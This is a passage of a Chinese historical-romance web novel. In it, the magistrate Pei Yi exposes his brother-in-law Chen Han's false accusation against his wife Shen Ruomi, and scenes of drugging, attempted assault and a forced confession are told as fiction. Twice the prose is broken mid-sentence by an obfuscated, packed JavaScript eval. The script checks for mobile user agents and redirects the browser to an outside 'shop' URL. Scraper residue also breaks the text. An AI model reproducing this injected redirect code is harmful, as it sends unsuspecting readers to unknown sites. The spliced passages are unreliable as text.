沈若宓只得勉强吃了几口,但一想到此刻说不准陈翰与裴曼瑛在跟太夫人告状,她便觉分外恶心,食不下咽。 她这幅魂不守舍的样子,裴翊怎会看不出来。 打从她进门开始,就表现出一副欲言又止,“我有话要跟你讲”的样子。 虽然表面上表现得很镇定,眼睛却不停地在往落地钟上瞥,这代表她现在心里很焦躁,有急事想跟他说。 沈若宓思量毕,刚欲开口解释,抬眼却见裴翊已是在好整以暇地瞧着她了。 其实她有时候也想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336187|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,眼前这个男人究竟是不是个一身正气,并非满口仁义道德的伪君子? 反正至少在床上,不是这回事。 但她并不想去赌裴翊会不会帮她,因为早就对他全然失望。 她现在要做的是先拖住他。 因为先入为主很重要,她已无可改变太夫人对她的态度,便不能让陈翰和裴曼瑛找到裴翊和太夫人一齐告状,那样她会腹背受敌、落于下风。 “大爷。” 就在这时,外面响起了粉钏的声音。 “二姑奶奶说有事寻大爷。” 沈若宓心一沉。 怎么陈翰和裴曼瑛,竟这般快就找过来了…… “让他先在外面候着。” 裴翊看向沈若宓。 “夫人,你先说。” 沈若宓略松了一口气,“其实没有什么大事,就是想来同大爷致歉,那日,我不该不经你的允许便进了你的书房,虽说我确实没有拿走大爷的东西,但也的确给大爷断案带来了不便,是我之过。” 人在屋檐下,不得不低头。不过看裴翊的样子,他好像并不惊讶她的到来。 裴翊点了点头。 “我也有错,在你房中也没能搜出来什么,那日我太过疾言厉色,吓到你和菱姐儿了。” “大爷说哪里的话,我那日也话有不当,自觉冤枉,一时情急。大爷你在堂上常断冤案,想是明白遭冤的感受,决计不会如那寻常男子一般心胸狭隘,记挂心里的,对吧?” 裴翊:“……” 这话怎么听着,哪里似乎不太对? “大爷,姑奶奶这边催您呢,说是有要紧事同您讲!” 粉钏又在外头敲门催促道。 “你放心,这事就算翻篇了。我还有事,有空我去芳菲馆看菱姐儿。” 裴翊起身,谁知就在他转身之际,身后突然扑上来一具柔软的身子将他紧紧拥住。 “大爷,你别去,我还有话对你说……” 裴翊只得转身,却见他的妻子正从他的胸口抬起头,湿漉漉的眼眶里布满湿意,脸色憔悴,像是几日都没休息好的模样。 从他的角度去看,她原本便尖的下巴显得愈发尖俏了,整个人在他怀中摇摇欲坠,仿佛倘若下一秒只要他离开,她便会因伤心过度晕倒在他的怀中。 裴翊哑然。 “你那日既已同我服软,为何不早些来找我?” 沈若宓一怔。 她什么时候同他服软了,难道是说裴子文大婚那天,她请他的朋友们去露台喝酒那次? 不过这也不耽误她装可怜,她知道裴翊还是有些好她颜色的,故而从善如流地伏在裴翊的胸口娇声抽泣了起来。 “夫君我对你心你可以自己亲耳听一听,你那日说的那般绝情,说我‘处心积虑’,我自与你成婚之后,既嫁从夫,事事以你为先,连回娘家的次数都极少,你却怀疑我别有用心,我又不是那石头做的人儿,怎能不肝肠寸断?呜呜呜……” 说罢,那泪水恰从通红的杏眼里簌簌滚下,瞧着好不委屈可怜。 陈翰和裴曼瑛在厢房里等了等,始终不见动静。 陈翰终于忍不住,拉着裴曼瑛的手又出去道:“粉钏姐姐,劳烦你赶紧再帮我们通传一声,我当真有要事找大爷商议。” 粉钏走到门口却又神色尴尬地回来了,支支吾吾地小声说:“姑奶奶和姑爷不如明天再来……” 裴曼瑛却是个心急的一个箭步就绕过阿松和粉钏窜到了房门口,张口就要喊:“大……” 后面的话被里面发出的声响也惊得噎在了嗓子里。 不是……这这对吗?! 15.第 15 章 “大爷弄疼我了……” 听到这话,裴曼瑛的话戛然而止,双颊蓦地一阵红一阵白。 随后赶来的陈翰显然也听到了那不同寻常的声音,尤其是女人那一口妩媚娇柔的软嗓。 陈翰甚至怀疑沈若宓是故意叫出来让他听到的,气得险些咬碎一口银牙,就在这时裴曼瑛的丫鬟兰心匆匆赶过来,对裴曼瑛耳语了几句。 裴曼瑛脸色一变,随即怒瞪向陈翰,顾不得再找沈若宓算账,拽着不明所以的陈翰就走了。 却说那厢屋内,沈若宓捂着胸口喊着自己心口疼,裴翊见她疼得站立不稳,只得将她抱到了旁边他平日用来午憩的小床上。 “我去找府医。” 他转身要走,沈若宓却又从身后抱住他,哭着不许他走。 裴翊无可奈何。 他这人一向喜欢按照规矩办事,譬如有人被冤,他寻找证据,堂前对质,为对方洗清冤屈便是。 曾有被冤之人的家人千恩万谢来求见他,在大理寺门外苦等他三天,他只叫门房将人打发了事,崔伯修骂他表面上一身正气,实则冷血无情,他只说那是他职责所在,无所谓谢与不谢。 但对于自己的妻子,一个娇滴滴的女人,眼下在他怀中委屈落泪、娇嗔埋怨,他也如个寻常男人一般头疼。 让她走她又死活不走,抱着他就是哭,好不伤心地问他是否不爱她了。 女人便是这样,始终纠结男人爱不爱你。 那厢外面的裴曼瑛和陈翰还在等着,裴翊是有些心烦的,却也不不留情面赶走伤心的妻子,便安慰她道:“好了,我不怪你,先别哭,今晚我再去你房中……” 察觉到他似乎有离开之意,沈若宓担心陈翰与裴曼瑛还在门外,急忙抓住他的手硬生生按在了自己的心口上。 一开始只是想拖住他,既然他也吃这套,那么…… 沈若宓一咬牙。 只能牺牲些色相了。 “大爷帮我揉一揉就好了……好疼,大爷弄疼我了!” …… 且说上午裴曼瑛和陈翰来普济寺上香,陈翰无意发现沈若宓也来了这普济寺。 自从上次沈若宓命人将他打得鼻青脸肿之后,陈翰就一直在找机会伺机报复。 为了报上次仇,他不惜铤而走险,命妻子的丫鬟兰心趁着黄、贾两个婆子如厕时把她们支开,说去帮裴曼瑛收拾下屋子,没叫这两人去通报沈若宓便硬生生拉走了。 这两人看见府中的熟人,并未设防便跟去了,再让阿吉将素娘和雪茜两个丫鬟打晕绑在隔壁。 末了,他找出随身携带的迷药用竹筒吹进屋内将沈若宓迷晕,意图趁她不备将她侵犯。 为了方便自己施展,他有意没有绑她,岂料沈若宓竟随身带刀,这么一个柔弱女子居然能硬生生把他左肩狠扎了一个大洞,到现在都疼得他浑身打颤! 出门的时候,又被妻子裴曼瑛撞见,裴曼瑛晓得她夫君这沾花惹草的性子,二话不说就给了陈翰一耳刮子。 陈翰也是生了一张巧嘴,当初以他区区六品顺天府通判之子的身份能娶到裴曼瑛这等高门贵女,靠得就是他的脸和这张巧嘴。 当即他便三言两语哄得裴曼瑛转了心意,坚称是沈若宓勾引他不成,又自知被他撞破和裴子衡的丑事,这才狗急跳墙。 还对裴曼瑛发毒誓证明自己的清白,“好姐姐,我陈翰若跟她有一字丝麻皂线,你叫我喉咙里长个烂疮活活疼死!” 如今事情已然被裴曼瑛知晓,裴曼瑛岂是善罢甘休的性子,回家简单包扎了下他的伤口后便拉着他去找太夫人告状,不巧太夫人今日身子不适早早睡下了,裴曼瑛又怒气冲冲地来找大哥告状,在裴翊这里又碰了壁。 “娘子,娘子你这是怎么了!” 陈翰被裴曼瑛扯到一处没人的地方,裴曼瑛气得直跺脚,指着陈翰的鼻子骂道:“你这贼囚根子的混账还不说实话!她为什么只勾引你和二哥哥不勾引旁人,你跟二哥哥就是一副死德行!我问你,门口有个寡妇手里牵着个男娃说是你的种,你上哪给我弄出个那么大的孩子来,叫我在左邻右舍眼里丢尽了脸!” 陈翰大惊失色:“冤枉娘子,我哪里来的孩子!定是沈氏的污蔑!她三番两次勾引我,我顾忌着她的身份也不敢回应,在普济寺中还对她严词拒绝,谁想她竟怀恨在心,将我刺伤,又找对母女来污蔑我……我,我真没有外室啊!” “她有皇后娘娘和大舅哥撑腰,若是我冤死了便罢了,可怜咱们刚出生没多久的霞姐儿却没了爹,求娘子救我……” 裴曼瑛却一脚踹开了陈翰,径直找那对母女对账去了。 两人离去不提,第二日一早裴翊醒来,穿上衣服正要离去,身后那具赤.裸柔软的身子却又抽泣着贴抱了过来。 怎么一大早又哭? 裴翊脑子发涨。 昨夜她哭了大半宿,作为丈夫他自是尽心安抚,软的硬的都安慰了一通才叫她肯乖乖闭了嘴睡下。 “发生什么事了?”裴翊问。 沈若宓说道:“夫君,倘若有人被冤,你是会为她做主,还是事不关己,置之不理?” “自然是为她做主。” 裴翊转过身,看着泪水涟涟的妻子。 他早就觉察到,沈若宓、陈翰与二妹裴曼瑛的不对之处。 “是谁冤你?” “昨个儿我去普济寺上香,撞见二姑爷与他那外室私会,当时二姑奶奶不在,他怕我说出去便扬言要去老太太那里污蔑是我勾引他,老太太向来不喜我,定然会要大爷你休了我!” “大爷,你会为我做主吗?如果你也不信我,我今日只能一头撞死在你面前了!” 沈若宓这话半真半假,自从上次被他莫名冤枉盗走了他书房中的证纸之后,她明白了君子不能立于危墙之下,故而特特隐去了陈翰昨日给她下药之事,否则被裴翊怀疑她失了清白,真是十张嘴也辨不清了! 说罢,沈若宓哭哭啼啼地要冲下床去撞墙。 裴翊见状立即将她拦腰抱回了床上。沈若宓缩在他怀中,哭了半天不听他的回音,心里微微一沉。 难道,裴翊识破了她的美人计? “你放心,我会为你做主。” 裴翊说道。 …… 春华堂。 裴翊来的时候,裴曼瑛两个眼肿得跟个桃儿似的,坐在一旁一语不发。 太夫人脸色也是十分疲惫,“孝均,你把事情查清楚了,究竟是那沈氏勾引翰哥儿,还是她先撞见翰哥儿与那个王氏私会。” “老太太信我,我真是无辜的!”一旁的陈翰立即叫屈道。 “你的意思是,沈氏勾引你不成,因怀恨在心反刺伤了你?” 裴翊径直走到陈翰面前。 根据沈若宓和裴曼瑛的证词,裴曼瑛是后来才撞到了沈若宓,也就是说事发时她不在现场。 那她的话没用。 “沈氏勾引你的证据在何处?”他直接问陈翰。 陈翰心里一紧。 他原本以为太夫人、裴曼瑛都好糊弄,不想半路跑出个贱人拿着他丢失的一块玉佩信誓旦旦来找他认爹,他真是百口莫辩,昨夜被裴曼瑛骂了一晚上。 还有眼前这位断案如神的大舅哥,实在不好糊弄。 陈翰这才悔断了肠子,怎么一开始色迷心窍去招惹了沈氏! 但也不代表他就糊弄不过去。 俗话说清官难断家务事,外面人传的这对夫妻多么相敬如宾,实际男人最了解男人了,这所谓相敬如宾不就是相敬如冰吗? 他不想跟沈若宓争个你死我活,眼下看来却是沈若宓要治他于死地,那就不能怪他心狠手辣了! “我娘子的丫鬟兰心和我的小厮阿吉都可以为我作证。” “除了人证,物证可有?” “有的,有的,这是沈氏曾经给我的信物。” 陈翰从怀中取出一面白绫帕,上面绣着一丛琼花。 裴翊扫了一眼,沈氏喜欢琼花,这的确是她的帕子。 实际上,这信物只能证明陈翰和沈氏可能有染,却不能证明是沈氏勾引了陈翰。 兰心和阿吉都是陈翰夫妇的人,也不能充当证人。 常年断案,裴翊早已形成了一种习惯——任何人的话都不可信,除非有确凿的证据和破绽。 包括沈若宓和陈翰。 他不动声色,摩挲了下那帕子,坐下道:“让证人到堂上来。” 先过来的是兰心,其次是陈翰的小厮阿吉。 两人自然都异口同声说,曾无意看见沈若宓拦住他们的主子,言语中有挑逗之意,且压根就没有什么陈翰与女子私会一说。 这次普济寺之行,也是沈若宓在寺中无意看见了陈翰,才叫自己的丫鬟悄悄将陈翰约去了她的房中。 可对于其中的一些细节,譬如说沈若宓第一次引诱陈翰的具体时间,阿吉和陈翰说的却有出入,一个说的半年前,另一个说的是上个月。 至于兰心,说到为何她要寻沈若宓的那两个婆子时,兰心半含半吐地说她见这两个婆子面善,便将两人叫到一边去帮忙了,没有别的缘故。 太夫人听得有些烦躁:“孝均,这还用审,将沈氏那两个贴身伺候的丫鬟压下去严刑拷打便是了!” “慢着。” 这话音未落,只听门外有个沙哑的嗓音说道。 沈若宓领着素娘和雪茜走进屋来。 “沈氏,你捅出的祸事,竟还有脸过来!”太夫人正满腔怒火,此时一见沈若宓,简直犹如三尸暴跳,怒不可遏。 “太夫人息怒,孙媳总要为自己陈辩清白,太夫人若是不信,可以去宫中请示陛下,请刑部的人来调查孙媳所言是否属实,若有半句虚言污蔑了姑爷,孙媳自请下堂。” 沈若宓不放心裴翊,她得自己给自己讨回公道才行。 “你……”太夫人被她堵的:“何至于到那般地步!” “家丑不可外扬,有我在,不必舍近求远。”裴翊说。 沈若宓闻言心中冷笑一声,昨夜哭了大半夜,今早嗓子还是哑的。 不过在面对裴翊之时,她刻意地放柔了嗓音对他道:“大爷,我可否看一眼那证物帕子?” 裴翊将帕子递给她。 沈若宓看着帕子,又从袖中抽出自己的帕子开始比对。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“那她为何是跳窗,而不走正门,正门不应当是她的丫鬟在看守吗?已经跳窗逃走,为何又要砸破隔壁的窗户跳入其中,倘若她是要躲你,那根本解释不通。” 说到此处,裴翊一顿。 他慢慢走上前,身子微俯地看着陈翰道:“除非,是你意图对她不轨,反锁了大门,叫她根本出不去正门。又将她的丫鬟缚在隔壁净室,她无奈跳窗逃跑,发现了她们,意图救她的丫鬟。而你,为了污蔑她,不知从哪里找来一块仿造的丝帕,作为她勾引你的证据,却因准备匆忙不仔细,连供词都没跟自己的小厮对好。” “我、我听不懂你在说什么。” 裴翊这个俯身看他的姿势极具压迫感,他那双锐利的凤目更是仿佛早就将陈翰的里外看穿。 饶是陈翰再镇定,此时脸上也忍不住泄漏出了慌乱,眼珠子乱飘。 “这……我怎知她为何要跳窗、破窗?事实便是如此,是她先勾引我,孝均,那皇后娘娘被世人骂做妖后,沈家在京中横行霸道,欺男霸女,这样的人家怎么养的出来贤良守贞的女人,你要相信我……” “我再给你一次解释的机会。” 陈翰依旧嘴硬嚷道:“我没有,没做过的事我不认……啊!” 下一刻,陈翰的衣襟被裴翊猛地抓住撕碎,疼得他哀嚎一声,露出左肩那道被沈若宓所伤的狰狞伤口,而后,眼睁睁看着裴翊用手捻了下去! 陈翰不停挣扎大叫,裴翊虽是文官,自幼却练得一身劲力,陈翰根本挣脱不得。 初时陈翰还有气力痛斥裴翊滥用私刑,在几场下来不由疼得冷汗涔涔,头目森然,几欲昏死,不得已跪地求饶道:“我招,我招,我错了大哥,是我污蔑了沈氏不假,不过、不过我没有想染指她的意思,也没有与那妇人私会,是她先瞧不起我羞辱我在先,我再也不敢了呜呜!” …… 接着,阿吉和兰心也被接连带入这暗室当中。 阿吉胆小,一见自家主人这架势,当场吓得一切都招了,连大刑都没来得及用上。 兰心早背着裴曼瑛与陈翰有了首尾,陈翰给她几个首饰,哄得这丫头五迷三道,扭头就帮陈翰将沈若宓带来的两个婆子引开,与她们攀谈起来。 那两个婆子见是自家姑奶奶的丫鬟,哪有戒备之心,听话跟去,刚巧能与那两个婆子的供词对上。 …… 那厢,二房。 裴子衡听说自己二妹和二妹夫陈翰出事了,立即往大房奔去。 走到一处穿堂下,迎面撞见正擒着陈翰几人的裴翊一行。 “子衡,子衡救我!”陈翰忙呼救。 看陈翰这半死不活的架势,裴子衡心里已猜到几分,走到他大哥面前道:“大哥,敢问眼下是什么情形,屏山所犯何事?” 屏山是陈翰的字。 裴翊看着裴子衡。 他一语不发,只是冷冷睥睨着他。从裴翊的眼神中,裴子衡却察觉到了刺骨的冷意,巨大的压迫感,以及……愤怒? 裴子衡愣住了。 兄弟多年,他比任何人都了解裴翊的性子,他的大哥绝不会因为一个无关紧要之人而破坏他们之间多年的兄弟之情。 “二弟,你当真不知?” 16.第 16 章 最终,裴翊没有多说什么,便带着陈翰离开了。 裴子衡摸不着头脑,不过,他很快就知道了事情的结果。 听周嬷嬷说,陈翰被关在了柴房中,第二日一早就扭送去了顺天府。 至于他在外头那个外室,大概是见裴家变了天,裴翊第二天命人去寻她的时候她早就收拾包裹跟孩子没了影儿。 那据阿松调查这女子是个小寡妇,她那个三岁的孩子应当不是陈翰而是她那亡夫的娃。 但陈翰以前包过她好一些时日,两人打陈翰婚后也没断过,这女子自己对她的邻居街坊说那时以为陈翰是个正经人家的读书人,还哄她说会来娶她。 最近几日才知道他早就成婚了,一时气不过才带着孩子找上门来想来寻他的晦气罢了。 就算孩子不是陈翰的,也足以说明陈翰在婚后背叛过裴曼瑛,他不光在外面勾三搭四,还企图逼.奸自己的大嫂,当真是熊心豹子胆。 于是裴曼瑛从那天开始就以泪洗面,跑到裴子衡房中一人一娃一哭就哭一整天,哭得裴子衡一个头两个大。 太夫人更是一提起这事就唉声叹气,懊悔当初看走了眼。 事情的起因裴子衡从妹妹口中也猜了个八九不离十,有今日的结果他其实并不太惊讶,男人看男人往往最准,那陈翰是什么样的人,打从裴子衡见他第一次就知道了。 奈何当时裴曼瑛相中了陈翰一张俊俏的小白脸,非他不嫁,还叫两人在婚前有了肌肤之亲,无奈之下只能叫妹妹匆匆嫁了。 而今两人的孩子霞姐儿才五个月大,陈翰已锒铛入狱。 裴子衡越想越气,当即就往官府递文书和离,并打招呼叫熟人在大狱好生“关照”了下这前妹夫。 至于他的大嫂沈氏,听说是那日之后便病倒了,整日在芳菲馆大门不出,管家权也全交给了他的继母二太太梅氏。 碍于身份限制,裴子衡一个小叔子也不好去过问,何况那日大哥裴翊看他的眼神明显不善,裴子衡不敢再去细究,只好整日安抚妹妹。 俗话说,好事不出门,恶事行千里。 裴家出了这桩事,虽说太夫人觉得面上无光,一再严令禁止知情人外传,府内人有些聪明的,多少还是猜到了各种内情。 这日潘宝珍来了翠微居,道是大嫂沈氏病了,邀请詹茗薇跟她一起去芳菲馆探望她。 “不巧了宝珍姐姐,我这两日身子也不爽利,不能陪你前去了。” 潘宝珍见她躺在床上,但面容红润俏丽,哪里见半分病容,分明是不敢去,冷哼了一声扭头就走了。 碎玉说道:“姑娘何不去芳菲馆看看那沈氏,既能与潘氏结交,又能杀杀那沈氏的威风。” 詹茗薇道:“你当潘氏真有心与我结交?不过是凑个人与她一起去看沈氏笑话罢了,何况沈氏的笑话有什么好看的?” 不论别的,那陈翰自她搬进将军府没多久,就起了拿起子贼心狗胆对她勾勾搭搭,没出孝之前,她往日里大门不出二门不迈,没给陈翰机会,这才逃过一劫。 太夫人私底下与她吐苦水,说那陈翰平日里多孝顺多会哄她,又道沈氏必然也不是清白的云云。 詹茗薇听了只想冷笑,陈翰来寻太夫人的时候可没少借着这便利朝她揩油,沈氏是不是清白的她不清楚,但那陈翰绝对是个脏心烂肺的下贱种子。 话说回来,如今出了这等事,沈氏在裴家的日子怕是愈发不好过了。 不说别的,太夫人原本便不甚喜她,如今自个儿心爱的孙女儿裴曼瑛又因她和离,太夫人简直将沈若宓视作了眼中钉肉中刺。 这等时候,若沈若宓还上赶着去太夫人面前解释、道歉,那可真个儿傻了。 是以最开始的时候,沈若宓是装病,拖着不去见太夫人。 后来皇后知晓她生病的事,特特托了贴身女官姚姑姑带着补药来探望她,并嘱咐她好生养病。 这下,纵使太夫人心中再想为裴曼瑛出气,也不敢去碰沈若宓一根汗毛了。 生病的这段日子,裴翊倒是来看过她一回。 不知是不是沈若宓的错觉,她总觉得,裴翊对她的态度变得异常冷淡,但你要去细究,又仿佛只是她多想。 毕竟他除了偶尔一两次在床榻之上,一向是个不苟言笑之人。 可身为枕边人的沈若宓,又焉能察觉不出裴翊对她态度的变化,明明那晚她去寻他之时,他还与她那般酣畅淋漓地共赴云雨,说从前的事情既往不咎,第二日亦答应帮她伸冤。 甚至是在春华堂与陈翰当堂对峙之时,他对她的态度也不曾如此冷漠疏离,夫妻间的相敬如宾是敬重还是冷漠,她自问自己还是能分清楚的。 到底是因为什么? 养病的这几日她一直在思索这几日发生的一些事和事情的来龙去脉,想多了却又觉得头疼,索性不再去想。 她的性子从前直来直往,讨厌与人勾心斗角,自从嫁人生子之后,从前那些欢乐的日子就此一去不返了,如今想不明白的事,也只能对着虚空在脑中反复思索复盘。 姑姑、裴翊,沈家……这些人全都是她无法信任的,即便难受痛苦,也不得不一个人打掉牙齿往肚里咽。 下午的时候雪茜忽然来告诉她,花房里的花都被人给砸了,沈若宓心中“咯噔”一下,不顾素娘的劝阻就匆匆去了珍园。 花房中早就是一片狼藉,看守花房的小丫头哭着说她也不清楚是怎么回事,她就去如厕一趟的功夫,回来的时候花房就被人给砸了。 沈若宓看着地上破碎的花盆、花缸,被踩烂的花泥,那些她精心培育的木芙蓉和海棠花花瓣散落一地,碗口大的牡丹花被人从缸中直接拽出。 门口还种了一株她最喜欢的琼花,那是母亲生前最喜欢的花,如今也被人一盆热水直接烫死了。 …… 回去之后沈若宓就当真病倒了。 素娘说她有可能是那日穿着单薄跑去花房,邪风入体,以致感染了风寒。 自从答应皇后嫁给裴翊之后,她一直在学习如何做好一个“贤妇”。 她知道人生而有许多的身不由己,因而也不愿怨天尤人,做一天和尚就敲一天的钟,所以对于裴家上下,她兢兢业业,从未有一刻懈怠。 若是依着沈若宓从前的性子,她必定要找出毁坏她珍爱的这些花的真凶。 只是病来如山倒,如今她心力交瘁,也懒得去管这些身外之事了,日子能捱一日便是一日罢了。 …… 下衙时分,快到定国将军府时,裴翊看见两个熟悉的人影。 一男一女正朝着裴府赶,那男子是宫里太医院的刘太医,女子是沈氏身边的贴身丫鬟。 裴翊下马,正巧刘太医和雪茜也赶到了大门口,两人忙不迭向裴翊行礼。 “大爷,我们大奶奶这几日一直病着,今下午又发起烧来,反反复复总不见好,大爷若有时间,去看看我们大奶奶吧,大奶奶每天都在等大爷。” 雪茜求道。 刘太医也帮着道:“裴少卿,我看大奶奶身子不爽利,心病还须心药医,若她心情好些,或许能好得更快。” 裴翊听了只道:“你们先去。” 说罢进了大门,丝毫不见焦急之态,很快便不见了人影。 雪茜只得哭丧着脸领着刘太医便去了芳菲馆,暂且不提。 却说裴翊前几日忙于案子,不在府中,今日去春华堂探望太夫人,路过珍园花房,忽见花房外一片狼藉,堆满了花盆碎片和腐烂的花泥。 他叫来阿松:“花房是怎么回事?” “大爷是说花房里那些毁坏的花?” 阿松含含糊糊地道:“我也不清楚,大概几天前,这些花突然都被砸了。” “既被砸了,为何不去清理?” 阿松“啊”了几声,支吾道:“一直是大奶奶打理花房,适才雪茜不是说大奶奶病了么,许是没时间去管了罢,大爷要不去看看大奶奶?” 裴翊却仿佛没听到一般,径直去了春华堂。 旁人不清楚为什么大爷突 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不消片刻,这只装满了书信和杂书的箱子就被抬进了裴翊的书房。 裴翊先拆开最初捡到的那封信。 “郎君如晤:蜀地苦寒,妾为君亲自缝制的棉衣,可有收到?盼君平安,勉进餐饭……妾近来常觉腹恶不适,夜里难眠。太夫人命妾旦夕服侍,然妾局促难安,只想独卧静养,那样似能好受些。盼归,盼归。” 第二封信。 “天气转暖,君安否?新制春衣已成,君可收到?孩子渐大,一切平安。前信寄出后,久无音讯。若郎君公务缠身,也求只言片语相慰。日日倚门,盼归,盼归!” 而第三封信,却只有七个字。 “夜思难寐。盼回信。” 这箱子里,一共只有这三封信。从菱姐儿出生之后,信便断了。 衣服,信,裴翊从来都没有收到过。 离家近两载,他一直以为沈氏对他从无挂念之情,当同僚都陆续收到妻子的来信和新衣时,只有他收到的是太夫人和长公主的来信。 可是这些信中,分明沈氏对他关怀备至,却日夜焦灼难眠,一心哀求他归来。 为何,太夫人要将这些信全都藏起来? 一个怀有身孕的女子,刚有孕不久丈夫便离家不归,她在婆家无依无靠,又受尽刁难,无奈之下,只好写信向自己的丈夫诉苦。 可是她的丈夫,一封信都没有给她回过。 …… 裴翊来芳菲馆的时候,沈若宓已服药睡下了。 他将手试探着贴在她酡红的脸颊上,那滚烫的温度叫他忍不住皱眉。 他本以为,她是装病…… 那日,她突然去九辩院向他认错。做低伏小、百般柔情,他如何看不出来她有心事,后来看到陈翰才彻底明白她这样做的目的是为了让他还她清白。 这本是他分内之事,她为何要出卖自己的身体达成目的? 原本,他并未多想,欣然应允,甚至那时还对她存了几分柔情怜惜。 尽管,他知道自己不该如此。 因为从沈氏嫁进来的第一天起,他便知晓是沈皇后的美人计,为防沈皇后祸国殃民,对她亦多有防备。 然而在暗室之时,陈翰却告诉他,他的妻子与二弟有私情。 “那本是你给大嫂的料子,大嫂为了家辛苦操持和生儿育女,是她应得的。” “怪我,都怪我附庸风雅,非要大家来这花房,惊扰到了大嫂……” “为了得到这样的女人,牡丹花下死,做鬼也风流。” 他本以为自己不是个猜疑多心的男人,可这几日也不知为何,那些原本早就应该被他遗忘的裴子衡说过的话竟在脑中反复地回忆起来、来回折磨着他,一字一句是那么地清晰而掷地有声。 裴翊沉默地看着他的妻子。 17.第 17 章 裴翊是个只看证据的人,尤其是判案时,他从不轻易相信任何人说的任何话。 是,他不该相信陈翰说的话。 尤其是这个男人信口污蔑了他的妻子清白,还曾多次对她引诱不轨。 但是那一刻,他鬼使神差地想起了在四弟裴子文大婚那日的花房中,曹进误将沈氏认作婢女,是二弟裴子衡率先为她解围。 在他随口将浮光锦许诺送给三弟裴少廉之时,也是他出言相劝阻止,提起沈氏主诸般好与不易,后来,还莫名问他是否要纳詹氏为妾。 裴子衡,他是裴家最会讨女人欢心的男人。上到太夫人、梅氏,下到丫鬟仆妇,甚至他的母亲长公主都对他赞不绝口。 除了,他那混乱浪荡的私生活。 平日里看似老实守礼的孙祥媳妇,竟能与他在一间闹鬼的屋子里颠鸾倒凤。 理智告诉裴翊这是陈翰的污蔑。一个他的枕边人,一个是他亲密无间的亲兄弟。 可怀疑的种子一旦种下,在心中便犹如一般藤蔓一般疯狂萌芽生长。 以至于当想到她曾用身体为目的来求他为她主持公道时,他心中都感到一股没来由地憎恶。 突然,裴翊脑海中忽浮现出一个人的眼睛。 前不久,通奸案中的苦主郭氏出狱时特意来到大理寺,她身上穿着件破烂衣服,和自己年仅六岁的儿子跪在他的面前,谢他的救命之恩。 那时,她的双眼中饱含热泪,满是感激地向他道谢。 那是一个柔弱消瘦,虽然狼狈却不失体面,面容姣好的女子,为了自己的清白,她曾宁死不屈,在严刑逼供之下也决口不认自己与人通奸。 就是这样的一个女子,险些死在了刑部大狱之中。 …… “渴,渴,娘,渴……” 不知过了多久,床上的女子发出一声细弱沙哑的嘤咛。 裴翊侧耳细听,片刻后,为她端来温水喂下。 喝过水,她似乎好受了许多,舔了舔被水润过的干涩的唇,依旧沉沉睡去。 翌日一早,沈若宓醒来后察觉身上没那么热和重了。 素娘过来一试她的额头,欢喜道:“谢天谢地,我的佛,姑娘你终于退烧了,看来还是林大夫这药管用,今天再吃上三帖,不出三帖定然药到病除。” “林大夫是哪位,昨个儿不是让你去请的刘太医吗?”沈若宓哑着嗓子问。 素娘给她掖被角,叹口气道:“姑娘,是昨晚大爷来看你,又使人去四条胡同请了明善堂的林大夫给你看病,咱们从前不是京都人不知道,这林大夫可是京都城里的‘扁鹊’,我看下次也别找那刘太医了,给姑娘开了这么多副药也没见起效……” 那厢素娘还在絮絮叨叨地说着,沈若宓却忍不住烦躁地踢开被子。 “好了好了,我晓得了。”又躺了回去。 素娘顿了半响,又是叹了口气。 她知道沈若宓是不爱听她口中说与裴翊有关的事,其实她也不爱说,只是总不能眼睁睁看着夫妻二人日子过成这样吧? 听到素娘悄悄离开的声音后,沈若宓才睁开眼,看着头顶的承尘。 她确认了,看来昨夜确实是裴翊。 昨夜她做了噩梦,朦胧中似乎看见了裴翊,本以为是做噩梦都能梦见他,还觉得很是难受,没想到果真是他。 病了几日都不见影,昨晚倒是良心发现了,少不得是怕她在裴家病得要死的消息传到宫里去给裴家惹祸。 说来那林大夫倒是有两把刷子,吃了三天他开的药沈若宓当真身上爽利不少,除了嗓子还有些沙哑。 吃到第七天的时候,她不仅身体大好,还得知了一个好消息。 家丑不可外扬,裴家自然不能真把陈翰在外勾搭寡妇、□□嫂子的丑事宣扬出去,故而便以他偷盗府中重金将他送进大狱。 为了防止他出去胡说八道,也为了给妹妹裴曼瑛报仇,裴子衡索性让人给他一刀剪去了舌头,还给他安了个极重的罪名。 按照大周律法,偷盗三百白银以上要流三千里,昨日陈翰就被流放驱逐出京都城了。 傍晚时分,沈若宓正牵着菱姐儿在屋里走着消食儿,忽听院里传来喧嚷的声音。 片刻后,雪茜跑进来说大爷来了,还特特去拿来一件鲜亮的衣服披到了沈若宓的身上,苦口婆心嘱咐她,“大爷好容易来一趟,奶奶千万把大爷留下!” “爹爹!”菱姐儿一听就呲着小白牙笑了起来。 沈若宓眉一皱。 傻女儿什么时候竟晓得这“大爷”就是她“爹爹”了? 不过,傻女儿笑得出来,她却笑不出来。 她脱下雪茜披她身上的衣服,就穿着这一身青衣白裙见他。 裴翊稍后走了进来,手中拿着一物,对菱姐儿招手。 养病的这段时间,裴翊倒是来看过她三四回,只她病怏怏的不愿搭理人,他又是个锯嘴葫芦,两人凑一块都没什么好说的,看完菱姐儿他便离开回九辩院了。 裴翊不来的时候,菱姐儿整日盼着他来。 人真来她面前了,她又矜持得不行,躲在沈若宓后面扭扭捏捏不肯出来。 沈若宓朝前一推她,将这丫头推了她亲爹怀里。 裴翊一笑,他猛地将菱姐儿向上一举抱了起来,还在手里掂量了下菱姐儿的重量,吓得菱姐儿尖叫起来。 不过,在看见爹爹手里的那只“竹蜻蜓”的小玩具之后,她的注意力立马就被这新奇的小玩具吸引了过去。 沈若宓坐在罗汉床上绣帕子,父女两人就在屋里玩竹蜻蜓。 